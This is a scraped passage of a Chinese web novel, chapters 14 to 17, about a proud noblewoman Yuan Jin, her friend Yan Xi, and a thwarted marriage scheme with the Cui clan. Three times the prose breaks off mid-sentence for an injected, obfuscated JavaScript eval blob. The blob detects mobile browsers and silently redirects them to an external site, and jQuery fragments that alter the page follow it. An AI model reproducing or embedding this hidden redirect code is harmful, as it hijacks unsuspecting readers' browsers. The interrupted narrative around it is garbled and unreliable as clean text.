袁瑾转过身看向竹院所在的方向,她心里清楚自己的气话伤人,若想挽回这段交情自己应该有所表示。 可,这样会不会太放低自己了?她迟疑。 经过一番激烈的思想斗争后,袁瑾下定决心,我堂堂袁家女还不至于连承认错误的勇气都没有,不就是道歉吗?有什么大不了的。 袁瑾深吸一口气,朝着竹院走去。 刚过了石桥没走几步,就听到廊下传来两人争执的声音。 “……令堂有意与袁氏联姻,郎君何苦为了我背上忤逆不孝的骂名?” “可通古心中唯卿一人!” 袁瑾愣在了原地,又震惊又迷糊,两个八竿子打不到一起的人是什么时候两心相许的?还有什么联姻?我怎么一点也不知道? “郎君,甚爱必大费,多藏必厚亡[3]。”萧婵的声音不大,却让崔闻止了声。 廊下静默,只能听到花瓣落地的声音。 萧婵苦笑道:“幼瑛为人正派,有世间女子不曾有的豪爽,更重要的是她也中意你,你们——会很好的。” “所娶却非意中人,我又怎会好?”崔闻看向萧婵。 萧婵垂眸避开了崔闻的目光,轻轻道:“幼瑛是个很好的人,请善待她。” 袁瑾仿佛被人迎面扇了个巴掌,又羞又恼。 她这辈子最不想欠萧婵,现在偏偏要靠对方的怜悯施舍才能有一个如意郎君,这简直是奇耻大辱! 袁瑾攥紧拳头,一脚踏出藏身之地:“够了!我还用不着靠着别人地怜悯度日!” 两人没想到她会听到他们的说话内容,一时间不知道该如何是好。 萧婵:“幼瑛,你听我说,我们没有……” 袁瑾打断了萧婵的话:“没有?那把我当个玩意一样地推来推去是干什么?是想靠施舍我来彰显你们的宽容大度,还是想用我来衬托你们爱情的伟大?” “不是的,不是的,你听我解释……” 萧婵上前解释,试图让袁瑾冷静,却被袁瑾一把抓住手腕:“你说没有就没有了吗?你敢对天发誓你们刚才没把我当成死缠烂打的无耻之辈吗?” “幼瑛你先冷静。” 萧婵表现得越大度,袁瑾的怒火就越旺,恶念战胜了理智。 “少在那里装知书达理!你心里怕是巴不得我这么做。我越是如此,不就越能衬托你的好吗?别以为我不知道你每一次跟我出现在同一场合是为了什么!” 手一甩,萧婵不住地向后跌去,撞进了崔闻的怀中。见心上人被如此对待,饶是脾气好的崔闻也不禁冷下了脸:“袁娘子,我们确实言语有失,但也请你不要咄咄逼人。” 袁瑾心凉半截,本以为崔闻与旁人不同,却不想也跟那些人一样,只知道指责她。她深吸一口气,稳住矜贵的姿态,鼓掌嘲弄:“看看,看看,现在我这个受了委屈的人倒成了坏人了。” 她嗤笑一声,扬起下颌高傲地看向两人:“你们两个给我听好了。我,袁幼瑛,虽不是名动天下之辈,但自有傲骨,绝不受人折辱!想要让我对你们感激涕淋,做梦!”言罢,甩袖离开。 袁瑾越走越快,越走越快,手中的绢帕被她拧成了长条。 为什么人人向着萧婵?为什么人人选择萧婵?我究竟差在哪里?他们凭什么这么贬低我? 无数个问题接踵而来,压得袁瑾喘不上气。她跑出了袁府,强塞给路人一支金钗,抢过他的马冲出城门。 狂风如利刃斩断了束缚,撞散了烦恼的阴霾,让她重新回到了自由自在,无拘无束的日子里。 一路飞奔,袁瑾终于停了下来。 清澈的河面,在阳光下泛着银色的光。她吐了口浊气,翻身下马,松开了缰绳,让马去觅食,自己下了斜坡坐在河边。 眺望远方,码头人潮涌动,人人呼朋引伴的场景,反而衬得形单影只的她越发格格不入。 她忍不住地想,倘若我收敛了性子,学着温柔贤淑是不是就不会如此难堪?我——是不是一直都错了? 袁瑾迷茫地望向水面,却也只能见到层层叠叠的水光。 “古有西施浣纱沉鱼,想来今日之后能有袁女对水沉鱼的美谈了。”水中的倒影多出了一个人。 没等袁瑾回应,颜熙已经坐在她的身边,调侃:“你这丫头倒是会藏,要不是灵光一现,我还真想不到你在这。” “找我干什么?为了看我出丑?”袁瑾没好气道。 颜熙咋舌:“你这丫头就像一只刺猬,凡事不管三七二十一先竖起刺乱扎一通,等到回过神又开始怀疑自己是不是做错了。” “我没有!”袁瑾又补充了一句,“你才是刺猬!” 颜熙忍俊不禁。 “不许笑!”袁瑾恼羞成怒。 “好好好,不笑了。”颜熙安抚袁瑾的情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054759|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“说说正事?” 袁瑾想,除了刚才那件事还有哪件正事?心中不免有些抵触。 “昨日我一时情急,话说重了,还请你原谅。”颜熙严肃认真,绝非哄她开心。 袁瑾愣了一会儿,才问:“这就是你的正事?” “不然呢?”颜熙反问,“难道你认为挽回咱们俩九载的情义不是正事?” “你别瞎说,我才没那么想。”袁瑾小声道,“我只是没想到……” “没想到什么?”颜熙打量了一番,“哦——我知道了,你是没想到我会道歉。”他凑了上来,贱笑:“是不是想过我要是生气不理你怎么办?是不是还想着先找我道歉的?” 被人说中了心事,袁瑾又臊又恼,一把推开颜熙:“去你的!” 颜熙哈哈大笑。 袁瑾堵住耳朵,可颜熙的笑声仍旧会钻进耳朵,环绕在心间。直到最后,她破罐子破摔,承认:“是,我不该口不择言,把气撒在你身上,行了吧。” “行啊,怎么不行,这可太行了。袁娘子亲自道歉,颜某倍感荣幸。”颜熙一手撑在身后,笑着对她说,“颜某诚邀娘子一起赏风景。” “有什么好看的。”袁瑾嘴上嘟囔着,却也看起了风景。 天空蔚蓝,如一卷绸缎,无垠地延展至远方。丝丝缕缕的云朵飘浮起在天地间,闲适自得,让人倍感放松。 袁瑾抱着膝盖:“我是不是挺招人烦的。不仅不温柔体贴,也不娴静典雅,还脾气大、冲动鲁莽、出口伤人、惹是生非……所有的短处都被我占了个全。” 颜熙:“温柔体贴可以说成逆来顺受,娴静典雅也可以说是没有个性,至于脾气大、冲动鲁莽、出口伤人还有惹是生非的短处又何尝不是性情直爽、不拘小节、快人快语和为人仗义的长处?” 袁瑾转过头,才发现颜熙不知在什么时候不再看风景而是在看她。黑色的眸子被阳光熏得正暖,神情缱绻,让人忍不住地想要靠近。 “所谓君子百行,殊途而同致,循性而动,各附所安[4]。袁小幺是袁小幺就很好,你要是变成别人了,那就没意思了。” 袁瑾眼眶一酸,泫然欲泣。 “哎呀,忘记准备碗了。”颜熙一拍头,“袁娘子的眼泪珠子多珍贵啊,落在地上岂不是糟蹋了?要不你先忍一下,容我去买个碗?”说完,颜熙还冲她眨眨眼睛。 满腔感激哽在了喉咙,憋得袁瑾难受,袁瑾一拳砸在了颜熙的肩膀:“颜青阳!” 颜熙顺势捂着肩膀倒在草地上:“啊,好一个狠心的小娘子。我刚才还安慰你,你竟恩将仇报。” “就恩将仇报了怎么样?”袁瑾住颜熙两腮的软肉,“我今天就让你知道我的厉害。” “错了错了,我还伤着呢,娘子饶命——” “晚了!” …… 打闹后,袁瑾的心情终于好了起来。 颜熙蹲在水边发牢骚:“对这样一张貌比潘安的脸你也能下得去手,袁小幺你是怎么想的?” “谁让你惹我。” “行,一会儿你父亲问起来别找我打圆场。” “……”袁瑾一下子被捏住了七寸。 15. 第 15 章 颜熙歪着头,一派悠闲地等着袁瑾求他。 “亏我还以为你学好了,没想到刚才是唬我。我不问了,大不了挨叔父一顿臭骂就是了。”袁瑾转身要走。 “嘿,我不过是逗你一逗,你怎么还急了?”颜熙拦在袁瑾身前,“我说就是了。” “哼,我不用了。”刚一上坡,凉风扑面而来,袁瑾忍不住地打了个哆嗦。 “那你就要认下争风吃醋的名声了?”颜熙的声音从身后传来。 “你在说什么鬼话?”冷不丁被人扣上这么一个罪名,袁瑾震惊中带着迷茫。 “可现在大伙都是这么想的。”颜熙从马背上取下一件披袄给她披上,“出了一身汗还站在风口,当心病了。” 袁瑾摸了摸光滑的绸缎,撇了撇嘴:“我又不是纸做的,一吹就破了。” “是是是,您是能征善战的大将军,是小的多心了。”颜熙敷衍。 袁瑾觉得没意思,切了一声,问道:“争风吃醋是怎么回事?” “还能是什么,不就是你和萧娘子因为崔家郎君争风吃醋喽。”颜熙摊手,“毕竟你跟通古游园游得好好的,结果因为萧娘子地加入不欢而散,其中缘由自然惹人遐想。” 袁瑾又生气又好笑:“他们的脑子里就只有情情爱爱了吗?” 颜熙耸肩:“人生无趣,总要找些乐子。像你我这样的公子娘子免不了被编排一二了。”他又问:“真不喜欢通古了?” “当然不喜欢。我要一个心里有别人的人作甚?给自己找不痛快?如果说以前还有那么一点点的好感,现在已经完全没有了。”袁瑾停顿,转头看向颜熙,“等等,听你的口气你好像早就知道他们两个人的事情。” 颜熙疑惑:“你才知道?” “我什么时候知道的?”“我以为你早就知道了。” “你什么时候知道的?”“你一直不知道?” 两人面面相对,从彼此的眼神中意识到自己想岔了。 “让我理一下,”颜熙按着太阳穴:“所以你不知道通古和萧娘子船宴斗诗的事情?” “你看我像是会留意那种事的人吗?”袁瑾点着颜熙的胸口,恨铁不成钢,“颜青阳你的脑子呢?” 颜熙摸着鼻子,嘟囔:“谁让你那天从崔府回来就闷闷不乐,弄得我以为你……” “你嘀嘀咕咕说什么呢?”袁瑾掐着腰。 “没,没说什么。”颜熙斩钉截铁地否认,但过了一会儿,又问袁瑾,“真不要崔家的郎君了?” “不要。原本是觉得他跟其他人不一样,跟他在一起的日子不会太差,可以先接触看看。但现在一看,他不仅有个闹腾的堂弟而且心里还有人,嫁过去就是活受罪。我又不傻,为什么要跳火坑?”袁瑾态度决绝。 颜熙闻言笑叹:“我就说袁小幺是独一无二的。” 袁瑾翻身上马,骄傲道:“我本来就是!” “你既不想嫁崔通古,回去以后的每一句话就得仔细斟酌。不然会被顺水推舟坐上虎背,到时候下都下不来。”颜熙牵着马,仰着头,郑重嘱咐。 袁瑾不由地抓紧缰绳:“什么意思?” 微风拂过,枝叶沙沙作响。 “天子忌惮山东士族,崔氏为士族之首,若有万一,首当其冲。你和崔言之争,看似风头已过,实则才刚刚开始。”颜熙见袁瑾仍旧费解,于是直指中心,“天子在等袁氏参崔氏治家不严,纵亲族行凶,借此打压崔氏。” 袁瑾恍然大悟:“难怪崔家这次会重惩崔言,原来是怕兄嫂在长安参他们。” “所以这个时候传出你为崔通古争风吃醋的谣言正中崔氏的下怀。”颜熙看向袁瑾,“只要你的言语间流露出对崔通古的在意,哪怕只有一点,崔氏都会促成袁崔两家的婚事。” “一旦定下婚约,我跟崔言的事情就是家事,天子总不能不顾身份地去掺和人家的家里事。”袁瑾把玩着自己的小辫子,“倒真是好算计。” 颜熙:“你只知其一却不知其二。如今袁氏在朝中得力,与你们结亲,崔氏子弟的仕途岂不更一帆风顺?” 袁瑾敲着脑壳,世家大族里的弯弯绕绕,弄得她脑仁疼。反观颜熙却是气定神闲,仿佛一切尽在他的掌握之中。 这个颜青阳平时瞧着嘻嘻哈哈,没个正形,却不想到他竟是个知微见著的。袁瑾想。 “那你说一会儿问起我来,我该怎么答?感觉怎么说,卢夫人都会往婚事上扯。”她唉声叹气。 颜熙被她的模样都笑了:“放心好了,你到时候什么都不必说,自有人替你解围。” “谁?”袁瑾眼睛一亮。 “远在天边,近在眼前。”颜熙故弄玄虚。 “你?”袁瑾眉梢上挑。 “是也不是,娘子就瞧好吧。颜某定保你囫囵地进囫囵地出。”颜熙撂下一句话便策马飞驰起来。 “颜青阳你把话说清楚!”袁瑾驱马追赶。 日薄西山,两道黑色的影子疾驰在绚烂的霞光中。 跨过坊门熟悉的面孔就围了上来,一群人向袁府走去。一进正堂,母亲就拉住了她的双手,仔仔细细地打量她一番,确定她没事后才埋怨道:“你这猢狲跑到哪去了?” 听着母亲的关怀,袁瑾不住地抱住了母亲,像小时候那样把自己缩在温暖的怀抱中。 “想来是受了委屈,”卢夫人走近,“可是我家这小子说了什么惹人生气的话,娘子告诉我,我替你教训他。” 袁瑾想到颜熙提醒她的话,身体一僵。 我该说什么?颜青阳你倒是说话啊! 颜熙的声音慢吞吞地响起:“夫人见谅,袁娘子适才吹了风,身体有些不适,现在恐怕没精力说话。” 话音刚落,母亲一面急急地让人请大夫,一面亲自扶她回房间,留下父亲继续招待卢夫人和崔闻。 逃出生天后,袁瑾松了口气,她悄悄地回头,颜熙似有感应,笑着冲她眨眨眼。 行吧,你还算有用。袁瑾回过头。 走了一段距离后,母亲才问:“现在能跟我说说发生了何事?” 袁瑾一愣,恍然明白了颜熙的那句是也不是,原来他和阿耶阿母在卢夫人的眼皮底下打了个配合。啧,这个洞察人心的狐狸。 她挽着母亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057205|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂,亲昵道:“就是争执了几句,不过母亲放心不是因为儿女情长。女儿自有心气,不会做有失风度的事情。” “你啊,还是这般高傲。”母亲抚摸她的脸颊,“不过,我的孩子合该如此。” 袁瑾弯起嘴角,但又担心崔氏不会气馁,问道:“那,崔家怎么办?他们恐怕不会放弃。” “别担心,我和你阿耶会处理好此事的。”母亲替她拢了拢披袄,嘱咐,“连雨天将至,天气转凉。你今天出了一身汗,赶紧回房去,免得病了。” 听了母亲的话,袁瑾也安下了心,撒娇道:“哎呀阿母——我日日练武,才不会那么柔弱。你看我这两年不都没生过病吗?”说着,还拍了拍胸口。 母亲:“不许胡说。” 袁瑾不以为意,结果第二天病痛就找上了门。鼻塞咳嗽,还怕冷,恨不得裹上两床棉被才好。 母亲端着药碗,又气又心疼道:“看你还敢不敢乱说话了?” 袁瑾欲哭无泪,不敢了,再也不敢了。 街道上,潮湿的空气上中透着一股茶香。颜熙摩挲着伞柄,一会儿回去得去挑些小玩意,不然又被袁小幺念叨了。 思索间马蹄声渐进,一辆马车停在了身侧,崔闻惊喜的声音响起。 “青阳你怎么在这?” 颜熙抬起伞,淡笑道:“特地等你。” “特地等我?”崔闻稍作思索,便请颜熙入茶楼雅间。 茶室装饰古色古香,竹制的方案上是精巧的紫砂茶具,墙上挂着山水画,木窗外是绵密的雨丝。 三沸的茶水注入杯中,顿时满是清香。 “蒙顶山茶滋味浓郁,香气纯正,乃茶中珍品,千金难求。”颜熙放下茶杯,“我也算借了通古的光。” “青阳就别打趣我了。”崔闻放下茶盏,“今日特地在此等我可有要事?” 颜熙也不藏着掖着,开门见山:“是想请通古劝尊祖父莫再撮合崔袁两家的婚事了。” 崔闻一愣,看向颜熙,见其神色郑重,不似玩笑,才正色道:“青阳,你应该是知道,祖父不会轻易改变自己的决定。尤其是现在,他会想尽一切办法促成此事。” “是不会而不是不能。”颜熙对上崔闻的视线,“倘若促成婚事会比现在更危险,尊祖父不就会改变想法了?” “怎么会?”崔闻面色一变,略带惊恐地看着颜熙,“等等,你不会——” 颜熙面色不变:“袁氏顾念两家的脸面,留有余地,但会让人心存侥幸,断不干净。既如此,不如就由我这个晚辈替袁氏长辈们排忧解难吧。” “那你不替自家长辈想想?”崔闻问道。 “我父母已故去,与族人关系也不亲厚,一刀两断也不难。况且,多事之秋岂可再生事端?”颜熙锋芒毕露。 茶室一片寂静。 “没想到我竟小瞧了青阳。”崔闻长叹一口气,给自己续茶,“不过有你半路杀出来,我的燃眉之急也算解了。” “粗人的法子,成不了体统。阴差阳错能帮到只友人,也是我之幸事也。”颜熙眉眼一弯,又变成了那个插科打诨的俏公子。 16. 第 16 章 毛毛细雨如蚕丝,万千条细丝荡漾在空中,迷迷蒙蒙笼罩在庭院中。屋檐悬着水珠,如一卷珠帘,在微风中发出滴滴答答的响声。 袁瑾裹着被子坐在床上,摆弄着手里的九连环,但没一会儿就腻了,随手一丢,双手拖着脸颊:“无聊,无聊,好无聊。我想出去——” “让我看看是哪家的娘子在发牢骚?” 袁瑾抬首看去,颜熙站在门口,眼中含笑地看着她。 “呦,瞧瞧这是谁来了?”她挑起眉头,阴阳怪气,“颜大公子怎么想着光临寒舍了?” “这不是听说你病了,特地带礼物来探病。”颜熙努嘴示意她看他腋下夹着的木匣,“娘子赏脸瞧瞧?” 那木匣约莫一尺长,半尺宽,深棕色。外表再普通不过,但又见颜熙胸有成竹,她也不禁好奇起里面的东西了。 当木匣打开后,一只小巧玲珑的四角转鹭灯出现在眼前。乌木为框架,灯身靠下的地方雕刻着娇艳欲滴的芍药,顶部则是有一条金灿灿的青铜把手,上面还有精巧的花纹。 袁瑾提起转鹭灯悬于眼前,绢纱上两只蝴蝶映入眼帘。丹青精妙,镜像活了过来。 颜熙取来一支燃起的蜡,示意她将灯放下。将蜡放入灯中后,纱上的蝴蝶竟真扇动起翅膀,绕着芍药翩然而飞,好不自由快活。 “你从那里寻到的?”袁瑾爱不释手。 颜熙故作神秘:“你猜。” “切,不说就不说。”袁瑾托起转鹭灯,看了一会儿,才发现灯座上刻有一行字——庄周梦蝶。转头看向颜熙:“你刻的?” “除了我,还有谁能写出这样飘逸洒脱的字?”颜熙冲她眨眼睛,“我亲手刻的,感不感动?” “……”袁瑾翻了颜熙一眼没接话,而是感叹,“经此一事,我才知道我根本没自己想的那样潇洒自在。” 颜熙轻笑:“但总有一天能做到。” 袁瑾听后,失笑:“连我自己都不把准的事,你怎么如此肯定?” “因为你是袁幼瑛,所以我相信你。” 听着颜熙不假思索的回答,袁瑾抚摸转鹭灯的手指一顿,转头看向颜熙。那目光深沉又真挚,让人心中没由来地升出一股直面一切的勇气。她不自觉地弯起嘴唇:“这么相信我,当心被我带到沟里去。” “反正被你坑这么多次了,再多几次也没什么。”颜熙耸肩。 袁瑾闻言横了颜熙一眼:“我就不该指望你说几句好话。”将转鹭灯放在一旁的桌子上,靠在枕头上,对着颜熙说:“给你个将功赎罪的机会,讲点有意思的事吧。” “嘿,你这丫头实在贪得无厌,有了物件还不够,还要听奇闻怪谈。”颜熙笑问,“你不会是在折腾我吧?” 袁瑾眉梢上扬:“就是折腾你怎么样?讲不讲,讲不讲?” “讲讲讲,”颜熙举手投降,“讲个什么好呢?娘子可提醒提醒在下?” “做什么都得拉上我。”袁瑾嘴里嘀咕着,却也搜肠刮肚地想自己想听什么。滴滴答答的雨声,勾起了一段模糊的回忆。 漫天的红色,经久不断的笑声,一切都是喜气洋洋的。那时她年岁尚小,不能体会到大人们的乐趣,将头轻轻地搭在父亲的肩膀上,百无聊赖地四处张望。 忽然,与一个小娃娃的目光撞在一起。冷不防地发现一个同龄人,让她感到兴奋,冲着对方露出最灿烂的笑容。只可惜那娃娃在看了她一眼后,就把脸埋在了抱着他的人的怀中,躲了起来。 袁瑾的目光落在了颜熙身上。 颜熙微微后仰,戒备:“你看我作甚?” “出息呢,”袁瑾扫了颜熙一眼,托着面颊,食指摸着脸上的软肉,说道,“我想到了,就说说你跟陈大将军学艺的事情吧。” 颜熙语气中带着几分讶然:“你怎么想听着这个了?” “就是想听了。怎么,你有什么见不得人的小秘密?”袁瑾眼珠子一转,拖长调子,“你是不是偷偷哭过鼻子?” “没有。”颜熙否认,“袁小幺你可别胡说。” “既然没有丢人的事情,那讲给我听又有何妨?”她转过头不去看颜熙,唉声叹气,“不知道是谁让我提醒,结果提了醒,他又不愿意说,真是个言而无信的小气鬼……” “祖宗快收了神通,我又没说不说。”颜熙既是纵容又是无奈,“真真是前世欠了你。” 袁瑾哼了一声:“你怎么不说是我前世欠了你?” 颜熙笑着摇了摇头,不再与她争个高低,讲起了在陈大将军身边的光景。言辞精妙,语气得当,将那段往事活灵活现地展现在她眼前。若是往日她肯定会被吸引,可今天总也听不进去。 她歪着头观察着颜熙。屋内昏暗,一束暖光落在颜熙的身上,慵懒散漫的眉宇间多了几分连他自己都不知道的温柔。 人还真是奇妙。小时候胆小羞涩,大了就变得那么讨厌,可日渐接触却又能发现那张风流皮下是傲霜骨,凌云心。 病气侵扰,袁瑾的头越发昏沉,眼皮也越来越重。颜熙的声音时远时近,近乎飘渺。 鼻尖萦绕一股清淡的香味,似是沉香,但又掺杂雨水的味道。恍惚间有人替她拉上了被子,在身边轻声道:“风雨总会过去的。” 也不知是不是受这句话的影响,她竟真做了一个雨过天晴,化身为蝶,纵情山水的美梦。 袁瑾病好已经是半个月后的事情了。 连雨季中难得的晴天,荀氏在自家的山林里办了一场围猎,再三邀请她。明眼人一看就知道,荀氏如此低三下四是在收拾荀恬惹出的烂摊子。 袁瑾弹了弹弓弦,心道明明是同样的教导,家中子女的品行为何天差地别? 调试好弓弩后,她弯弓搭箭,嗖地一声,箭矢射中靶心。人群爆发欢呼,但她却兴致缺缺。没了颜青阳这个竞争对手,力拔头筹都变得没意思。她收了弓弩,取了彩头,一个人闲逛去了。 身后传来悉悉索索的响声,袁瑾一转头就看到了崔闻。两人愣住,谁也没先开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061947|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气氛越发尴尬起来。 崔闻先回过神,上前一步邀请:“不知袁娘子可愿同崔某一起走走?” 袁瑾本打算拒绝,但又一想自己落单容易被荀氏的人缠住,两相比较下,崔闻还算顺眼,于是点头答应了。 盛夏绿得浓稠,带着沉淀后独有的韵味。 走了一段距离,崔闻站定,向她作揖:“上次是通古冒犯了,还请娘子见谅。” “故意找没人的地方,是怕丢了脸面?”见崔闻愣住,袁瑾摆了摆手,“好了,逗你玩的。道歉我接受了,起来吧。”又撇撇嘴:“你这个人真没意思。” 崔闻笑了笑。 “你跟她接下来要如何?虽然这话由我来说显得虚伪,但我还是要说,萧婵是个拔尖的人。慢了,可就被人捷足先登了。”袁瑾语气平缓,仿佛在跟崔闻讨论哪家的糕点好吃。 见崔闻面露惊讶,她切了一声:“都说我武断,我看你们也没好到哪去。既傲慢又自以为是。我承认不喜欢她,但原因也没有你想得那么低俗无趣。” 袁瑾睨了崔闻一眼:“你只需要记住,就算我再讨厌她,我也不会否认她的好,更不会赌咒她去死就行了,别的说了你也不懂,我也懒得浪费口舌。” 崔闻愣了愣,笑道:“听娘子一番话,崔某才知自己往日活得竟如井中蛙。” “行了,别恭维我了。你少做前几天的事情就行,我就谢天谢地了。”袁瑾摆了摆手,“你要是真感到愧疚,就赶紧把萧婵带到你家去,然后避着我走,让我眼不见心不烦。” 崔闻笑出了声。 “笑笑笑,笑什么笑?我说得不对吗?”袁瑾不满。 “娘子说得很对。我只是替青阳开心,毕竟人知结交易,交友诚独难[1],能做到险路多疑惑,明珠未可干[2],更是世间少有。”崔闻感叹,“我曾担心青阳真心错付,为人利用,现在看来是我多虑了。” 袁瑾从这句话中嗅到了一丝异样,追问道:“颜青阳做什么冒险的事情了?” 崔闻反问:“青阳没有告诉娘子他曾单独见了我一面,要我劝祖父不要与袁氏结亲的事情吗?” “我不知道,他从没告诉我!”袁瑾吃惊。 崔闻见袁瑾当真不知情,心中了然,笑道:“没想到青阳也是个‘不求闻达诸侯’的性子。也罢,就让崔某做个坏人,讲一讲他的所作所为。” 在崔闻的讲述中,袁瑾才知道颜熙竟学赵云浑身是胆,跑去要挟了崔氏! 她现在可算是知道后怕是怎样的感觉了——头皮发麻,后背沁出冷汗,心脏更是砰砰地乱跳。如果可以的话,她恨不得现在就跑到颜熙面前抓着他的领子质问一句:“你是不是疯了?” 她虽不屑崔氏,可不能否认崔氏势大,随意使个绊子就会毁了一个人的一生! 为了一个朋友,你连前程都不要了吗! 颜熙从远处缓缓走来。 袁瑾心道,来得正好!她袖子一甩,气势汹汹地向颜熙走去。 17. 第 17 章 “颜青阳!” 袁瑾往颜熙面前一站,气势磅礴,吓得颜熙向后退半步。他单手护在胸前,紧张道:“袁小幺我今天可没惹你,你这是要作甚?” “你确定?”袁瑾眯起眼睛。 颜熙苦思冥想许久也不得答案,最后一脸困惑地看着她,圆溜溜的大眼睛里分明写着无辜二字。 袁瑾跺脚:“你气死我算了!”说着,要去拧颜熙的胳膊。 颜熙一转身露出了身后的崔夫人。 袁瑾一惊,连忙问安。行礼时,身边传来噗嗤的笑声,不用想就知道是颜青阳那厮在笑话自己。 好在崔夫人不在意这些虚礼,扶起了她安抚道:“不必拘束。” 袁瑾乖巧地点了头,待崔闻来后,就退到了颜熙身边瞪人。 【你怎么不提醒我?】 【你也没给我机会说啊。】 颜熙摊手。 袁瑾狠狠地踩了颜熙一脚。 颜熙倒抽一口凉气,引得崔氏姑侄纷纷侧目。他笑着说没事,但目光已经落在袁瑾身上。 袁瑾挑衅似地看着颜熙。 崔夫人看着暗流涌动的两人,轻笑道:“岁月不居,时节如流[1]。难得出来玩,别被我拘在这了,去玩吧。” 崔闻会意邀崔夫人一同去别处赏景。 袁瑾将目光从崔氏姑侄的背影移开,一把抓住了要脚底抹油的颜某人:“你去哪?” 颜熙眨巴着眼睛,一脸无辜:“没有啊。” “少来,别以为我没看到你要逃跑。”袁瑾板着一张脸,“说,你为什么要去威胁崔氏?” 颜熙咋舌:“崔通古真不仗义。” “他这才是真仗义。”袁瑾一手掐着腰,一手点着颜熙的肩膀,“你这次是运气好,有他帮你绕弯,要是下次呢?万一无人相帮,你不是要搭上下半辈子?你有没有替你自己想过?说我头头是道,怎么到你自己就变了?” 颜熙闻言笑出了声。 袁瑾气恼:“你笑什么?” 颜熙笑意不减:“你不觉得这场景有些似曾相识吗?就是你赴‘鸿门宴’的那次。” 袁瑾一想,若是她跟颜熙调换位置,此情此景可不就跟当时一模一样。所以,颜青阳那时也同我这般焦急吗? 颜熙见她怒容略退,凑上前,用肩膀碰了碰她的肩膀,笑嘻嘻道:“这下能体会到我那时的心情了吧。人家专门给你设了个套等你跳下去,你可倒好,不但跳进去了还自增难度。” 袁瑾原本心情微妙,但听完颜熙的话后,用力撞回去:“闭嘴吧!年纪轻轻就罗里吧嗦,我看你以后肯定是个爱唠叨的老翁。” “我是爱啰嗦的老翁,那你是什么?”颜熙逗弄道,“横冲直撞的老妇?” “你说谁是横冲直撞的老妇?”袁瑾怒视颜熙。 “谁应就是谁喽。”颜熙向后一退,拔腿就跑。 “颜青阳你给我站住!”袁瑾追了上去。 “我才不,你来抓我啊。”颜熙转过头,像小时候那样做起了鬼脸。。 袁瑾指着颜熙,笑骂:“你个泼皮,等我抓住你要你好看!” 两个人在草场上你追我赶,自由无拘,好不畅快。 荀氏宴后,也没什么事找上门,每日按部就班,袁府众人倒也乐得清闲。日升日落,云卷云舒,稍不留意就临近中元节了。 袁瑾懒懒地打了个哈欠,没骨头似地趴在窗沿,百无聊赖地看着进进出出的婢女仆从。长辈们嫌弃他们这些小辈笨手笨脚,担心筹备祭祀祖先器物用品时会冒犯了祖先,便打发了他们,不许他们插手,如此小辈们倒成了家中最闲的。 兄弟姐妹相约出门玩,但她懒着动弹就推了,只是一个人呆着,就更无聊了。想着想着,一个名字浮现在心间。 “对了,我去找颜青阳去!” 袁瑾是个说走就走的性子,提着裙摆向竹院走去了。 竹林环绕,一片青碧下,是近乎肃穆的安静,与颜熙闹腾的性子相差甚远。向深处走去,能看到青瓦红柱,门窗敞开,颜熙正伏案书写。坐姿端正,脊背挺直,手握着笔杆,神情专注地抄写着什么。 阳光穿过层层叠叠的枝叶,淡淡的光晕落在颜熙身上,如梦似幻,竟有几分说不出的飘然感。 茶褐色的纸张上是字迹工整的经文,墨迹尚未干,在日头下金灿灿,好似被神官开了光。 “尔时,救苦天尊,遍满十方界。常以威神力,救拔诸众生[2]。”袁瑾趴在窗沿上,歪着头念起了颜熙写的经文。 颜熙听到袁瑾的声音,停下笔,转头看向她:“袁娘子怎么有空来了?” 袁瑾撑着脸颊:“听说你好了,我来瞧瞧。” 颜熙晃了晃重获自由的手臂,感叹:“熬了三个月多一点,可算摆脱了那‘独臂大侠’的称号。” “还大侠?我看你就是大虾,就会故弄玄虚。”袁瑾不屑。 颜熙笑道:“那也比你这只喜欢挥舞着两只钳子唬人的螃蟹强。” “颜青阳!”袁瑾怒拍窗沿。 “哎哎,可不带急了的。”颜熙忙道。 “你才急了。”袁瑾撇撇嘴,拿起一张经文,看向颜熙问道,“你真不回去祭祖?” 中元是个重要的日子,人人都要尽可能地返回家中祭祖,若因故不得回定会送些什么回去,好向祖先告罪。可颜熙却非如此,他既不返家,也不往回送东西,冷冷淡淡的,好像跟颜氏断了关系似的。 颜熙拿镇纸的手顿了顿,转头看向她,笑道:“我要是回去了,有谁替师姐祭拜师父?颜氏先祖有那么多人祭拜也不差我一个,陈大将军只有师姐一个女儿,却身在长安不得回,我这个做徒弟的,做师弟的,不得多上心?” 袁瑾觉得有理,但转念一想:“那你父母怎么办?” 